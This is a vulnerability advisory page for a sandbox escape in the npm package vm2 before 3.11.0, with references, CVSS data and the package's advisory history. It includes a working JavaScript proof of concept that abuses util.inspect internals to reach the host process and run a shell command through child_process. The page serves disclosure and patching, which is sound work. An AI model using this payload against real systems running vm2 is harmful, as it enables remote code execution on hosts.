vm2 has a Sandbox Escape Vulnerability
Summary
It is possible to reach BaseHandler.getPrototypeOf, which can be used to get arbitrary prototypes
Details
BaseHandler can be reached via util.inspect (same as https://github.com/patriksimek/vm2/commit/57971fa423abeb66f09e47e18102986549474ca8)
PoC
let obj = {
subarray: Buffer.prototype.inspect,
slice: Buffer.prototype.slice,
hexSlice: () => '',
};
let sym;
obj.slice(10, {
showHidden: true,
showProxy: true,
depth: 10,
stylize(a) {
const handler = this.seen && this.seen[1];
if (handler && handler.getPrototypeOf) {
gP = handler.getPrototypeOf;
HObjectProto = gP(gP(gP(gP(Buffer))));
HObject = HObjectProto.constructor;
sym = HObject.getOwnPropertySymbols(Buffer.prototype).at(0);
}
return a;
},
});
obj = {
[sym]: (depth, opt, inspect) => {
inspect.constructor('return process')()
.getBuiltinModule('child_process')
.execSync('id', { stdio: 'inherit' });
},
valueOf: undefined,
constructor: undefined,
};
WebAssembly.compileStreaming(obj).catch(() => {});Impact
Sandbox Escape -> RCE
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | vm2 | < 3.11.0 | 3.11.0 |
References
- https://github.com/patriksimek/vm2/security/advisories/GHSA-qcp4-v2jj-fjx8
- https://nvd.nist.gov/vuln/detail/CVE-2026-44006
- https://github.com/patriksimek/vm2
- https://github.com/patriksimek/vm2/blob/408fc855f1cc1bbc2985b029465ee0e732ada433/lib/bridge.js#L655-L658
- https://github.com/patriksimek/vm2/releases/tag/v3.11.0
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H- Weakness (CWE)
CWE-94- Platform
- npm
- Package
vm2- Disclosed
- 07.05.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-qcp4-v2jj-fjx8 - CC BY 4.0
Vulnerability history: vm2
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 78
- First → latest
- 10.2021 10.2026
- Without a fix
- 1
- Exploited in attacks
- 0
Severity breakdown
- Critical 51
- High 14
- Medium 12
- Low 1
Disclosures per year
- 2021: 1
- 2022: 4
- 2023: 7
- 2024: 0
- 2025: 0
- 2026: 66
-
vm2 has a Sandbox Escape Vulnerability this entry
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